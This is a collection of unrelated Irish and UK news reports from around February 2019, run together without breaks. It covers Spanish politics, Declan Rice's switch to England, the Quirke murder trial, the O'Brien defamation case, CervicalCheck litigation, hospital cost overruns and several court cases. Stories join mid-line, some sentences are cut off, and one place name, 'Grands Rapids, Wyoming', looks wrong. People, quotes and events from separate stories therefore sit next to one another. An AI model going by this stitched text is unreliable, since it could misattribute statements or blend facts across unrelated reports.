Mr Sanchez rushed out of the lower house's chamber shortly after the vote, dodging questions by reporters.

His finance minister, Maria Jesus Montero, said it made sense that Mr Sanchez's term, which ends next year, would be shortened with the budget rejection - but that it was up to the prime minister himself to decide if and when to call a new general election.

Talks between Mr Sanchez's government and a new separatist coalition that took power in Catalonia after 2017's failed independence push broke down last week when the government refused to accept self-determination talks.

The ongoing trial against a dozen politicians and activists who drove the breakaway attempt in Catalonia two years ago has further angered many pro-independence supporters.

The politically charged trial entered its second day on Wednesday with the Supreme Court prosecutor criticising what he said were defence lawyers' attempts to turn the proceedings into an examination of the Spanish state and judiciary.

Prosecutor Javier Zaragoza called "ridiculous" and "unjustified" the arguments made on Tuesday, the trial's opening day, by defence lawyers who called the case politically motivated and an attempt to eliminate dissent in the troubled north-eastern region.

Twelve Catalan politicians and activists face years behind bars if they are convicted of rebellion or other charges for having pushed ahead with a unilateral independence declaration that opened an unprecedented political crisis in Spain.

-Press AssociationFormer Ireland international Kevin Kilbane has questioned Declan Rice after the 20-year-old announced he was switching his international allegiance from Ireland to England.

Rice released a statement today saying

Read More:

In the statement, the West Ham star said: "Like so many people around the world, I consider myself to be of mixed nationality.

"I am a proud Englishman, having been born and raised in London. However, I am just as proud of my family's Irish heritage and my affinity and connection with the country."

Former Ireland full-back Kilbane hit out on Twitter, asking: "If youre a proud Englishman then why play for us in the first place?"

If youre a proud Englishman then why play for us in the first place?  Kevin Kilbane (@kdkilbane77) February 13, 2019

Rice qualified for Ireland via paternal grandparents and played at youth level before making three senior appearances, all in friendly matches.

After talks with the English FA last year, Rice told then Ireland boss ONeill that he would like time to consider his options.

Like Rice, Kilbane was also born in England but to Irish parents. He always wanted to play for Ireland and went on to earn 110 caps.

Kilbane criticised Rice's decision to consider his options last year, saying: "Id rather be ranked 150th in the world and never qualify again than have someone who has played, but needs time to THINK whether they should play for us again."

Kilbane's comments were echoed by current international James McClean, who replied saying: "Bang on lad.. Representing your country should be an honour and a proud moment."

In a statement today, Ireland boss Mick McCarthy said: "Declan rang me today and said he has decided to give it a go with England. Good luck to him."The first trailer for Frozen 2 has just dropped and we cannot wait for its release.

Princess Elsa, Anna, Kristoff, Olaf and Sven return to our screens in Autumn with the sequel to the story which stole our hearts back in 2013.On tonight's Operation Transformation Kathryn Thomas travelled to Limerick for an emotional interview with Jean Tierney who revealed that, after her previous heartbreak, she is pregnant again.

Jean's news means she will be withdrawing from taking part in the programme but viewers will be hoping that the inspirational Limerick woman will walk the catwalk for the finale in week eight.The first garda on the scene when DJ Bobby Ryan's body was found noticed that the accused man's hands were "extremely clean" considering he had been working with slurry that morning.

Farmer Patrick Quirke (50) of Breanshamore, Co Tipperary has pleaded not guilty to the murder of part-time DJ Bobby 'Mr Moonlight' Ryan on a date between June 3, 2011, and April 2013.

Mr Ryan's body was found in a run-off tank on the farm leased by the accused at Fawnagown, Tipperary in April 2013.

The prosecution claims that Mr Quirke murdered Mr Ryan so that he could get back with the deceased's girlfriend Mary Lowry (52) with whom the accused had previously had an affair.

Inspector Padraic Powell told David Humphries BL for the prosecution that he was the first at the scene.

When he arrived Mr Quirke and his wife were sitting on a wall. He said Mr Quirke brought him to the tank where he said he had located a body.

The tank was underground, covered by a concrete slab and there was a pipe from a slurry tank going down into it.

Inspector Powell said his priority was to establish whether there was actually a body so he didn't engage in much conversation with Mr Quirke.

He couldn't see anything from a standing position so he knelt down and could see what appeared to be the "outline of human remains". Visibility, he said, wasn't great and the body was covered in what appeared to be a transparent algae.

He said he observed that Mr Quirke was "extremely clean" considering he had been working with slurry. His hands and clothes were clean, he said, and he was "very quiet".

Under cross-examination he told Lorcan Staines SC for the defence that he had "no doubt" he was looking at a human body when he knelt down.

He accepted that he did not make a statement about what he saw that day, including about the cleanliness of the accused's hands, until more than two years later and he made no notes at the time.

Retired garda Tom Neville told Michael Bowman SC for the prosecution that the accused man's wife Imelda phoned him on his mobile phone on April 30, 2013.

Retired garda Tom Neville. Photo: Collins Courts

He knew it was her because he had her number stored in his phone having previously gotten to know her through the local hurling club.

She told him a body had been found in a tank at Mary Lowry's land in Fawnagowan. The witness told Ms Quirke not to touch anything and dispatched officers to the scene.

The jury also heard from garda interviews given by the accused after Mr Ryan went missing and following the discovery of his remains.

Detective Garda Martin Steed told Mr Bowman that he interviewed Mr Quirke in June 2011 at the accused man's home. In that statement, the accused said he had a 10-year lease on Mary Lowry's land at Fawnagowan and started grazing cattle there after her husband Martin died.

On the day Mr Ryan went missing, Mr Quirke said he saw Mary Lowry that morning but didn't stop to talk to her. He worked, he said, until midday and left for a holiday with his wife and family.

In November that year, Detective Garda Kieran Keane took another statement from Mr Quirke in which he said that he wished to add to his previous statement that he began seeing Mary Lowry in early 2008 after her husband died.

They were "off and on for a while". he said, and they both knew there was no future in it. The break-up, he said, was not amicable.

She had met Mr Ryan a few months before and Mr Quirke was, he said, "very angry with her" when he found out.

Patrick Quirke

On one occasion he said he saw texts from Mr Ryan on her phone and took the phone. He replied to Mr Ryan that Ms Lowry was with him, Mr Quirke, now.

Mr Quirke further told gardai he wanted to remain friends with Ms Lowry and that he told her things he has never told anybody else but she wanted nothing to do with him.

He further described a meeting he had with Bobby Ryan after Ms Lowry told Mr Ryan about the earlier affair. They met at a hotel and talked for about an hour.

He told Mr Ryan that he was in a bad place and getting counselling. He was friendly, Mr Quirke said, and sympathetic having had a relationship break-up himself.

On the day Mr Ryan disappeared Mr Quirke said he was at the farm unusually early, at 8.45am, because he was going away with his family that day.

He said he doesn't think he ever saw Bobby Ryan at Ms Lowry's home although he did see his van there on St Patrick's Day.

He saw Mary Lowry that morning and waved to her across the yard. He was gone by 9.15am and heard about Mr Ryan's disappearance that evening.

He took part in searches for Mr Ryan when he returned from his holiday, he said.

In March 2013 Mr Quirke gave a cautioned voluntary statement to gardai at Tipperary Garda Station after he was seen on CCTV footage around Ms Lowry's home at Fawnagowan on December 3, 2012.

Bobby Ryan

Dt Gda Steed said the accused told gardai that he went into Rita Lowry's home - Mary Lowry's mother-in-law who lives in an adjoining property at Fawnagowan.

He went inside, he said, to turn on the heating. He also rang a doorbell and opened the post box but he said he didn't think there were any letters inside.

While in the shed area he noticed there were women's underwear on the clothesline and looked at the label because, he said, he was "curious". He took the underwear off the line and then put them back.

He said he then tried a key that he had previously found in the yard in the lock of her front door and when he pushed the handle it opened. He heard the beep of the alarm and "panicked, having realised what I had done was wrong."

He got in his jeep and drove away. The following day he explained to Mary Lowry what had happened and gave her the key.

The trial continues in front of Justice Eileen Creedon and a jury of six men and six women.A district court judge has effectively ruled that beauty is in the eye of the beholder - or the vet in this case - as he upheld an appeal from a Donegal veterinary surgeon against a decision to deny him a certificate to practice.

The Veterinary Council of Ireland (VCI) refused to give veterinary surgeon Lucian Podariu, Bunbeg Crossroads, Bunbeg the certificate to practice last year because he had inserted the word 'Beauty' in the title of his practice.

The title of the practice is Animal Beauty and Care Clinic, but the VCI said the term beauty could be equated with some unacceptable cosmetic surgery taking place in the practice to modify an animal's appearance, the court heard.

Mr Podiaru appealed the decision at Dungloe District Court against The Veterinary Council of Ireland, 53 Lansdowne Road, Dublin. His counsel Dean Regan said it was a case that centred on the definition of the word beauty.

Mr Regan said the VCI was suggesting that the word beauty meant trying to modify an animals appearance and was unethical. He said it was unreasonable to suggest that beauty was linked with some sort of mutilation of an animal.

Counsel for the VCI Hugh McDowell said that for the appeal to succeed it must be shown that the VCI erred in law or acted unreasonably.

President of the VCI Peadar OScannail told the court that if ever a blade was taken to an animal to beautify it, that is a red line for the Veterinary Council.

He said there were cases of dogs having their tails cut for cosmetic reasons and that was not allowed.

Mr OScannail said there was a danger that the public might draw an inference that something untoward was happening at the practice.

Judge Paul Kelly read from some veterinary practices which provided for dog grooming. Among the services were nail clipping paint on highlights and anal gland expressing.

The judge wondered what was the difference between dog-grooming and beauty?

At one stage the Oxford Dictionary was produced, and the definition of beauty read out in court.

Judge Paul Kelly said the veterinary premises should not contain any elements that are offensive to the public. He said this was the reason behind the VCI's concerns, a fear that the use of the word beauty might mislead the public into thinking something untoward was taking place.

I dont think that arises, the judge said.

He said there was no basis for this and no basis for believing that cosmetic surgery would be carried out and he had no doubt that the VCI would be very quick to stop that happening.

The word beauty did not suggest that any illegal surgery was taking place.

The judge allowed the appeal and ordered that the VCI grant a certificate to practice to the Mr Podiaru.

But he did not award Mr Podiaru his costs as the matter might well have been settled had he engaged more fully with the VCI.A truck driver has appeared in court charged with the dangerous driving causing the death of father of three and Crusheen, Co Clare publican, Michael Fogarty last June.

At Ennis District Court, Paul Van Tamlin (55) appeared in connection with the fatal crash at Junction 13 on the motorway linking Galway to Limerick on June 5 last.

Mr Fogarty - who had a long involvement with the GAA and also worked as a milkman - was driving his 06-registered red Ford Transit van when it collided with a 08-registered white Volvo articulated truck being driven by Mr Van Tamlin at the exit from the motorway to Tulla at 12.50pm on the Tuesday afternoon.

Sgt Aiden Lonergan told Judge Patrick Durcan that the case would be proceeding on indictment to the circuit court.

In the case, UK national, Mr Van Tamlin of Lough Ramor Camping Caravan Park, Virginia, Co Cavan has been charged with driving a vehicle, including speed, that was dangerous to the public causing the death of Michael Fogarty on the date.

Mr Van Tamlin is charged contrary to Section 53 of the Road Traffic Act.

Sgt Lonergan applied for an adjournment to allow a Book of Evidence be prepared in the case and said that gardai had agreed bail conditions with Mr Van Tamlin.

As part of bail conditions, gardai sought that Mr Van Tamlins UK passport be surrendered.

In response, Judge Durcan told the gardai:

You must have a very negative view of Mrs Mays ability to get Brexit over the bar.

The bail conditions also specify that Mr Van Tamlin is to sign on at Bailleborough Garda station every Tuesday and be of good character.

Judge Durcan remanded Mr Van Tamlin on bail on his own bond of 100 to March 27 to Ennis District Court for the serving of the Book of Evidence.The head of the Construction Industry Federation, Tom Parlon, claims it is very wrong for the Taoiseach Leo Varadkar to say that contractors are at fault for the escalating cost of the National Childrens Hospital.

However, he warned that if the Government goes with the lowest bid in the tendering process then we will have problems like this.

It was the change in specifications and design that allowed the increased cost on this project, he told RTE's Today with Sean O'Rourke show.

The profit margin for construction companies is only 1% to 2%, he claimed.

If anything goes wrong they could go broke. It is a low margin, high-risk business.

Mr Parlon said that the Minister for Finance, Paschal Donohoe, was right to question the role and input of advisers on the National Childrens Hospital.

The St James' site was also a problem, he pointed out, as there is no room to lay down a pallet of blocks.

He said that the Government depends on its advisers and that after 35m to 40m was wasted on the Mater site there was pressure to put the hospital elsewhere.

It had been naive for the Taoiseach to think the current magnificent hospital design could be completed for the original price by 2020.

He called on Mr Varadkar to name the companies he said he would not like to see getting any future Government contracts.

Mr Parlon also warned that any moves on price certainty will put all the risk on the contractors. It could break them, he said.

He said that there has to be collaboration between the client and the contractor and suggested that it would be better to wait and see what conclusions come from the PwC report.Journalist Tom Lyons has told a High Court jury he is not involved in "some crazy conspiracy" to damage businessman Denis O'Brien.

There was nothing unfair or malicious in including Mr O'Brien in articles published by the Sunday Business Post (SBP) in March 2015 concerning a report to the government concerning the exposure of Irelands banks in 2008, he said.

Mr O'Brien was included in the articles because he was included in a group of borrowers identified in the report by Price Waterhouse Coopers (PWC), he said.

The articles faithfully reported what was in the report, he added.

The PWC report was the focus of the SBP articles written by Mr Lyons and others which Mr OBrien alleges defamed him.

In continuing evidence in Mr OBriens action today, Mr Lyons said the use of the word gang of 22 in one of the articles concerning the Irish banks' 22 top borrowers meant a group and was very obviously not a reference to criminality.

The 22 were a group of men including some pretty good guys like Mr OBrien who were caught on the wrong side of a property bubble, he said.

He said he did not believe Mr OBriens evidence that he had not read a biography of him written by Siobhan Creaton which, Mr Lyons said, included six references to Mr OBrien being in a gang.

He had no malice against any of the 22, he said. They included some very decent people, some of whom had cost the taxpayer a lot of money and some, like Mr OBrien, who did not cost the taxpayer money.

He said Mr OBrien is an upstanding individual who had got caught up in the crisis over five years but who paid every interest bill, all his debt to Anglo and ultimately repaid everything.

It is in the public domain that he repaid everything, he said. He is a good borrower.

Earlier, Mr Lyons said the Irish banks ended up owing some 64bn, multiples of the exposure they had indicated to PWC when it was preparing the report.

Everyone is talking at the moment about 2bn for the National Childrens Hospital, he said and, to put 64bn in context, that would build 32 childrens hospitals.

Articles written by him which named Mr OBrien among 22 men who between them owed 25.5bn to Irish banks in 2008 were based on the contents of the PWC report, he said.

The articles also included material from the Dail record in 2008 and informed comment by me.

A line in one article stating that PWC highlights the unfairness of what has happened in Ireland was his own comment, he said.

It was unfair, he said. There was an enormous concentration of debt around just a few individuals and the PWC report said the 22 top borrowers owed a cumulative 25.5bn.

Asked about his conclusion in that article that the numbers and individual stories are telling and disturbing, he said, if you look at what happened to this country, it is telling and disturbing.

Mr Lyons said he had commissioned Gavin Sheridan, journalist and transparency campaigner, to write another article arising from the PWC report.

Mr Lyons also said he had chosen the headline People of Influence, people of blame for that article.

He took responsibility for that article and defended it 100%.

Today is the sixth day of Mr OBriens action against Post Publications Ltd, publishers of the SBP over articles whose focus was the PWC report provided to the government in November 2008. It was obtained in 2015 by the newspaper but destroyed by Mr Lyons afterwards to protect the source.

The articles include a front page article headlined "22 men and 26 billion" with a subheading: "The secret report that convinced Cowen the banks weren't bust."

Mr O'Brien claims the articles wrongly meant he was among 22 borrowers who wrecked the country and injured his reputation.

The defendant denies defamation, denies the words complained of mean what Mr O'Brien says and denies malicious publication. It has also pleaded "fair and reasonable publication on a matter of public interest".

Today, Mr Lyons was asked detailed questions concerning the content of the articles.

He said a front-page article, written by him and headlined 22 men and 26 billion, was a reference to the top 22 borrowers, as referred to in the PWC report, who owed a total 26 billion between them to Irish banks in 2008, he said.

He said the word they in a strapline, The report they didnt want you to see, was a reference to the Government. References to the report as secret arose because the report was described as confidential on each of its pages.

A Top Secret graphic featuring a list of names, including Mr OBrien, was a photoshopped list of people and was not from any aspect of the report, he said.

The source of quotations used in a pen picture of Mr OBrien in another article was the PWC report itself, he said.

When he referred to developer kings in the articles, he was referring to big developers in Ireland.

The articles written by him were a combination of the PWC report content, material on the Dail record concerning then Taoiseach Brian Cowens references to the report and informed comment by me which included stating the obvious in relation to the situation in 2008.

The case is continuing.Teaching unions will stake their claim for more money for members, especially new entrants, if it emerges that nurses get more pay.

The Association of Secondary Teachers Ireland (ASTI) wants to see if the Labour Court's recommendation on the nurse's dispute can be used to benefit their members.

General secretary of the ASTI, Kieran Christie, said it would seek more money if it turned out that nurses got more pay on top of what was agreed in the Public Service Stability Agreement.

I would imagine that if the detail leads up to that conclusion, of course, we will, Mr Christie said on RTE radio.

He said FEMPI (Financial Emergency Measures in the Public Interest) should never have been used against the ASTI and should not be used against nurses.

Describing it as a "draconian, repugnant piece of legislation" Mr Christie said he hoped it was dead.

"We have been calling for its burial for years. So if it's dead it's great.

The legislation was drawn up when there was an emergency but the former Minister for Finance, Michael Noonan, had declared years ago that the emergency was over.

So why are we talking in 2019 about the application of emergency legislation years after the Minister for Finance of the country involved has declared the emergency was over?

It's absurd and should not be used on the nurses and should never have been used on the ASTI.

The Teachers Union of Ireland is analysing the court's recommendation in the context of the union's ongoing campaign to end pay discrimination.

TUI president, Seamus Lahart, warned yesterday that if the issue went unresolved some schools would be forced to send students home because there were not enough teachers.

Mr Lahart said young graduates were making other career choices because of the disparity in pay between teachers who qualified before 2010.

A TUI survey of 150 schools last December found that three-quarters had received no applications for an advertised teaching post in the previous 12 months.

The Garda Representative Association said it was analysing the Labour court recommendation while the Association of Garda Sergeants and Inspectors was not commenting on it.

Minister for Finance and Public Expenditure, Paschal Donohoe, said he "made a compromise" when asked on RTE radio yesterday if he had "caved into" the nurses, but insisted that the recommendation was "consistent" with the Public Service Stability Agreement.An environmental group has lodged a complaint with the European Commission over what it alleges is the States failure to properly progress the decontamination of one of the countrys worst polluted industrial sites.

Friends of the Irish Environment (FIE) have claimed the failure to ensure the decontamination of Haulbowline Island in Cork, based on a whole of island approach, could lead to daily fines from the European Court of Justice.

The former Ispat/Irish Steel site had remedial works carried out on a nine-hectare waste plot known as the East Tip, a dumping ground between 1996 and 2001. Cork County Council has plans to open a public park on that section in due course.

In May 2015, the Government announced 61million would be provided to the Department of Agriculture, Food and the Marine to cover a whole of island approach to the remediation process. It followed a 2005 Programme of Measures submitted to the European Court of Justice, after it ruled Ireland had infringed the Waste Framework Directive, citing Haulbowline as one example of such a breach.

However, work has yet to be carried out on decontaminating the remaining 11 hectares on the island. And machinery used on the East Tip remedial works was removed.

The ownership of the island was transferred to the Department of Defence which indicated there is no definitive timeline for the completion of remediation works.

Tony Lowes of FIE has warned that breaching the 2005 agreement could lead Ireland back to the European Court of Justice for daily fines.

But Minister Michael Creed this week told the Dail preparatory work on cleaning up the island is underway. While the priority has been remediation of the East Tip, work on assessing a suitable solution for the former steelworks factory site has also been advanced in preparation for the next phase of the remediation project, Mr Creed said.

Detailed site investigations have been undertaken and the preparation of an application for planning consent has also been advanced.

The Government has decided that the Minister for Defence will be the ultimate owner of Haulbowline Island, in keeping with the Naval Service being headquartered on the island. Any remediation solution for these areas will need to be cognisant of their likely long-term use. Mr Creed said.

Cork East Labour TD Sean Sherlock, who raised the issue, said: As far as the people of Great Island are concerned, this is a whole-of-Government issue which should be responded to by everybody across Government."

Mr Sherlock said he hoped the clean-up would not lead to a turf war between the agriculture and defence departments.

Some 61 million was originally allocated but my understanding is that only 23 million has been spent so far, said Deputy Sherlock.Fianna Fail is insisting that more needs to be known about the effects of the overspend for the new National Children's Hospital.

About 100m is being diverted from a range of projects to cover the extra cost, but Finance Minister Paschal Donohoe says no key projects will be delayed or cancelled.

Health Minister Simon Harris apologised to the Dail yesterday, and will face more questions over the matter today.

Fianna Fail's Health Spokesperson, Stephen Donnelly, wants more clarity.

Mr Donnelly said: "The Government announcement on exactly what projects are going to be affected by the massive cost overruns of the National Children's Hospitals is disappointing.

"It lacks detail, it is essentially a political document. We need to know exactly what projects are going to be affected, where and when."

Minutes of board meetings for the project reveal more layers to the problems at the crisis-hit facility, according to Sinn Fein TD, Louise O'Reilly.

Ms O'Reilly said documents released yesterday show the existence of sub-committees within sub-committees.

She also said Minister Harris kept the information, not just from taxpayers, but also from Fianna Fail during confidence and supply negotiations

Ms O'Reilly said: "Bearing in mind he had information that was material to the budgetary process, also material to the Fianna Fail confidence and supply review and negotiations and lastly, very very much material to those people who work hard to pay tax.

"And he kept that information to himself."There are calls for a ministerial post to be created to tackle the "epidemic" of loneliness.

Senator Keith Swanick, who was one of the authors of a report on the issue, wants the Government to do more to tackle it.A senior medic yesterday told the High Court he raised concerns about the outsourcing of the smear slides of Irish women to US laboratories 11 years ago and warned of "problems in the long term".

Dr David Gibbons resigned as chair of the Cytology/Histology Group within the Quality Assurance Committee of the National Cervical Screening Programme along with seven others after raising their concerns in 2008.

"We were very worried. We felt it would cause problems in the long term," he said.

He told the High Court up to eight Irish testing laboratories were "mothballed" when the first contract for testing of the Irish smear tests was given to a US laboratory in 2008.

Dr David Gibbons. Photo: Collins Courts

A consultant pathologist, Dr Gibbons was giving evidence on the ninth day of-of the action by terminally ill Ruth Morrissey who has sued the HSE and two US laboratories over the alleged misreading of her smear slides in 2009 and 2012.

Dr Gibbons told the court that data from slides which had been tested by US laboratories around 2008 showed 2.4% of all slides tested in Irish laboratories reported pre-cancerous cells whereas the US laboratories he said found 40% less.

He said the US had a low sensitivity test but a shorter recall time of one year compared to Ireland at the time which had a three-year recall.

He said he and other pathologists raised their concerns about outsourcing with the then head of the National Screening Service Tony O'Brien.

"We were very worried, we felt it would cause problems in the long term," he told the court.

He said the main problem was that two different systems were being put together and you could not have low sensitivity testing with a long recall interval.

"You run the risk of missing pre-cancer over a period and there was a danger of allowing cancer to develop that would not have developed otherwise," he said.

There was a huge furore at the time about the issue.

Cross-examined by Patrick Hanratty SC for the HSE, Dr Gibbons when asked if he had a grudge against the HSE over outsourcing, said he "certainly didn't."

It was the ninth day of the action by Ruth Morrissey and her husband Paul Morrissey of Kylemore, Schoolhouse Road, Monaleen, Co Limerick who have sued the HSE and the US laboratory Quest Diagnostics Ireland Ltd with offices at Sir John Rogerson's Quay, Dublin along with Medlab Pathology Ltd with offices at Sandyford Business Park, Dublin 18.

It is claimed there was an alleged failure to correctly report and there was an alleged misinterpretation of her smear samples taken in 2009 and 2012. A situation it is claimed allegedly developed where Ms Morrisseys cancer spread unidentified, unmonitored and untreated until she was diagnosed with cervical cancer in June 2014.

It is further claimed a review of the 2009 and 2012 smears took place in 2014 and 2015 with the results sent to Ms Morrissey's treating gynaecologist in 2016, but she was not told until May 2018 of those review results which showed her smears were reported incorrectly.

The HSE the court has already heard admitted it owed a duty of care to Ms Morrissey. The laboratories deny all claims.

Earlier US laboratory CervicalCheck Programme Manager John Gleeson said US laboratory Quest Diagnostics questioned the need to release the results of audits on Irish smear tests but it was short-lived. He said he did not agree with the Scally Report which referred to Quest Diagnostics disagreeing strongly with the release of audit information.

John Gleeson. Photo: Gareth Chaney Collins

Mr Gleeson said a legal letter arrived but he would not say they strongly disagreed but they questioned the need for it.

It was short lived and put aside, he added and he presumed the laboratory was concerned about litigation.

Ruth Morrissey's counsel Patrick Treacy SC asked why the results of the audit review of her smear slides were sent to Ms Morrissey's treating consultant in 2016, one year and two weeks after they became known.

Asked what was the explanation for the delay of over a year, Mr Gleeson said: "We were working on a historic caseload, we got to Ruth Morrissey in June 2016."

Mr Gleeson was also asked about the Quest Diagnostics laboratory contract with the HSE and that Ruth Morrissey's 2009 slide was sent to a laboratory in Grands Rapids, Wyoming which it is claimed was not specified in the HSE contract.

Asked by Mr Treacy if he heard about the Wyoming laboratory before he was asked in court about it Mr Gleeson said it was raised in the Scally Report and before that his immediate response was he did not remember hearing that name.

Asked if the slide had been sent to a laboratory not agreed with the HSE, he said he would be unhappy to learn about it. He said he would be unhappy "if it were done without our say so".

The case before Mr Justice Kevin Cross continues tomorrow.Dublin is one of the worst cities in the world to be a driver, according to a new report.

A new report from motor data company Inrix shows commuters spent almost 250 hours stuck in cars in the city last year.

That is the equivalent of more than 10 full days for commuters in Dublin which came in at 52nd out of more than 200 cities in the rankings.

Moscow topped the rankings ahead of Istanbul in Turkey and Bogota in Colombia.

Professor Brian Caulfield from Trinity College says there are many reasons why people are choosing to take their cars.

Professor Caulfield said: "If there were more options available, then people would have more viable alternatives to make them get out of their car and on to public transport.

"When it comes to more investment in lanes the city centre, space for cars in the city centre, that's not there. One of the things I always say is that we have a space problem when it comes to transport."Peter Casey has insisted if anyone voted for him because they thought he was a racist and against Travellers, they voted for the wrong person.

Controversy surrounded the candidacy of Mr Casey who criticised the community as part of his bid for the Aras last year.

The former presidential candidate said he never had a bad experience with a Traveller.

Mr Casey said: "If the 342,727 people who voted for me, if they voted for me because they thought I was a racist, if they voted for me because they thought I was against Travellers, then they voted for the wrong person and they should change their vote.

"I have never had a bad experience with a Traveller, ever. There is a very small percentage of Travellers that are giving the Travellers a bad name."

However, a co-ordinator with a Dublin Traveller support group has said she got "derogatory mail" for the first time in the wake of the Presidential campaign.

Angela O'Neill from the Finglas Traveller Development Group told Mr Casey that she was astounded by the mail she received.

She said: "The day of the vote I received an email that I was astounded by. Somebody had gone to great trouble to set up an email address under the name of 'MichaelthePikey' and it was agreeing that Irish society is sick of this lot who are basically a non-taxing, scrounging, anti-social shower.

"And on the morning of the count from the RDS, I received another email saying '21%. What do you think of that? ha ha ha'."

As Mr Casey visited the Dunsink site in Finglas, one resident told him of the discrimination he faced at school at a young age.

The businessman condemned those who would verbally abuse travellers attending school.

He said: "Absolutely totally wrong and it shouldn't happen. I condemn anybody that does that behaviour and I'd be very surprised if that behaviour exists today."A young man who visited his girlfriends house to hang Christmas decorations woke the next day to assault her by punching her in the eye and banging her head against a counter top in the kitchen of her home.

The injured party fled in terror from her home.

Sergeant John Sharkey said the young woman was bleeding when she called to her neighbours house and practically fell through the back door of their home for help.

She was shaking and could hardly open her two eyes. The gardai were called. She was taken to hospital.

Aaron OConnor of 4 Chapel Lane, Youghal, County Cork, was sentenced to two years in jail, consecutive to another sentence he is serving for previous assaults on her.

The last nine months of the two years were suspended on condition that he would stay away from her for a period of two years on his release from prison.

OConnor, 26, pleaded guilty at Cork Circuit Criminal Court to the single count of assault causing harm on November 28, 2018 at Red Barn Cottages, Youghal, where he assaulted the young woman by banging her head against a counter and by punching her, thereby causing her harm.

Sergeant Sharkey said it was an on again/off again relationship that had gone on for two and a half years. He said OConnor became verbally abusive to her and checked her phone on the morning of the assault to go through her call history. He also smashed her phone.

Judge Sean O Donnabhain said, There is a very clear picture of a girl being assaulted and terrified in her house over a period of time. It is a serious picture which I can see without photos.

This is an extremely serious case given the length of time the abuse and assault continued. It is a family situation that was invaded and violated by the accused.

The judge said the banging of the victim's head against a hard surface was the violence of domination.

The accused has pleaded guilty. He says he has insight into what he has done. He is remorseful, the judge said.

Patrick ORiordan defence barrister said the accused had undertaken anger management through a counsellor. Judge O Donnabhain directed that this would continue on his release from prison.

Mr ORiordan BL said the accused had brought 2,000 compensation to court for the victim. He wrote a letter expressing how sorry he was to the victim and her family. In the course of writing that letter, he said he hated himself for what he had done and added, I will never forgive myself.A 28-year-old Kanturk man has been convicted of manslaughter arising out of a single punch to a 65-year-old local at a bar in the town in 2016.

The jury of nine men and three women took three hours and 41 minutes to return with a verdict of guilty to the single count of manslaughter, also known as unlawful killing.

The jury verdict was by a majority of 11 to 1.

Judge Sean O Donnabhain thanked the jury for their public service and their active engagement with what he described as a difficult case.

Jonathan OSullivan from Kanturk but now living at Birchfield Park, Goatstown, Dublin, put his head into his hands and wept as the guilty verdict was delivered at Courtroom 4 at the Cork Circuit Criminal Court.

Defence senior counsel Mary Rose Gearty addressed the judge on the issue of sentencing.

The court will obviously be considering a custodial sentence. I would ask for an adjournment on bail for a short period, Ms Gearty SC said.

Judge O Donnabhain said the first concern was the preparation of a victim impact statement from the family of the deceased, Finbarr Lehane.

Imelda Kelly prosecution said such a statement could be organised within the next week or so. Ms Kelly said the accused had abided by his bail applications and there was no state objection to him being remanded on continuing bail pending sentence.

The date set for sentencing was set as February 28 with the accused on bail.

Ms Kelly said in opening the case earlier in the week that the defendant and the deceased were both out socialising in that bar in Kanturk and into the early hours of the morning. She said both of them had consumed a large amount of alcohol and she said, Alcohol is certainly a feature of this case.

She said there was a single punch to the face and the late Mr Lehane fell backwards, hit the ground and lost consciousness. He died 14 days later in hospital.

Liz Angland who was working in the bar that night told gardai, He hit the ground with an unmerciful crack.

The accused man, Jonathan OSullivan told gardai that the deceased had been talking ramesh into his ear at the counter of the bar.

I decided to go out the back. I dont know what happened. I just drew a punch, the accused said when interviewed later by Detective Garda Anthony Daly.

In another interview he said the deceased was talking shite.

Ms Gearty SC said the accused was weeping throughout the interview with gardai and that this was only a day after the incident and a long time before Mr Lehane died in hospital.

Ms Kelly said before the jury deliberated, that, It is an objectively dangerous act to strike a blow to the face of another person without warning. Mr Lehane was immediately felled by that blow. It was unprovoked and without warning.

Ms Kelly said it was clear from the evidence of state pathologist Margaret Bolster that the cause of death was complicated but Ms Kelly added, I am not under obligation to prove the punch was the sole cause of death, I must show it was a real and substantial cause.

Mary Rose Gearty, defence senior counsel, reminded the jury of how upset the accused was when he gave brief evidence. Ms Gearty said to the jury that the issue they had to decide was whether the blow struck by OSullivan was objectively dangerous.

The single most important factor is, do you have a doubt about whether it was objectively dangerous? What force was used to strike the blow? He left him without a mark. That must leave you at least with a reasonable doubt, Ms Gearty SC said.

Dr Bolster agreed under cross-examination by Ms Gearty that she did not find a single mark to the face of the deceased when she examined it a fortnight after the incident in the bar. Dr Bolster also confirmed that medical notes on the late Mr Lehanes admission on the night made no reference to any mark on his face.The Health Service Executive has brought High Court proceedings against a man who has allegedly set up a misleading website that is confusingly similar to its crisis pregnancy freephone service 'My Options'.

The HSE claims that through the website, www.myoptions.website, Mr Eamonn Murphy is inappropriately offering pregnancy scans, is trying to convince women not to go ahead with abortions, or berating those who have chosen to undergo a termination.

Late last year the HSE secured the contract to run the freephone information and confidential counselling service, which is the first point of contact between it and the public.

Its website, www.myoptions.ie went live late last year, and the phone service commenced in January.

The HSE says that in recent weeks it became aware of a website called www.myoptions.website

It claims that website contains Mr Murphy's phone number, promises a free ultrasound, and had at one point hosted a video claiming a link between cancer and abortion before being removed.

Mr Murphy with an address at Finglas Road Dublin 11, it is alleged registered the domain name shortly after the Minister for Health publicly announced the name of the HSE's service.

The HSE claims Mr Murphy's actions are not a coincidence and are leading to substantial confusion and is damaging the goodwill and reputation of the HSE's service.

It says that women are finding the defendant when they intend to find the service operated by the HSE.

The website is also giving the impression that Mr Murphy is offering services in connection with the HSE, or that objective counselling and information services are being provided, it is claimed.

The HSE says it has called on him to remove or rename the website, but he has failed to do so.

In proceedings against Mr Murphy the HSE seeks various orders including an injunction restraining the defendant or any other person acting under his control from using the sign 'My Options' or any other confusingly similar sign similar to the HSE's mark 'My Options' to denote pregnancy-related counselling or information services.

It also seeks an order directing Mr Murphy to transfer the domain name www.myoptions.website to the HSE, and that he immediately deliver up and destroy all stationery promotional materials bearing the 'My Options', brand.

The matter came before Ms Justice Leonie Reynolds at the High Court this afternoon.

The Judge on an ex parte basis granted the HSE, represented by Michael Binchy Bl, permission to serve short notice of the proceedings on Mr Murphy.

The matter was adjourned to Friday's sitting of the Court.Garda Commissioner Drew Harris has said gardai will be far more assertive in policing the repossession of properties by private contractors.

He also warned protestors targeting the homes of Government ministers and others that there would be no tolerance of any behaviour that could amount to a breach of the peace, describing such demonstrations as scaling up what could be considered legitimate protest.

The Garda chief made the comments at the Oireachtas Justice Committee, which was examining the controversy surrounding the failure to prosecute almost 3,500 juvenile offenders who had been deemed unsuitable for the Juvenile Diversion Programme.

In a fresh development in relation to this programme, Sinn Fein's Martin Kenny asked the commissioner to also examine the sanctions applied to young people who had been deemed suitable for the programme.

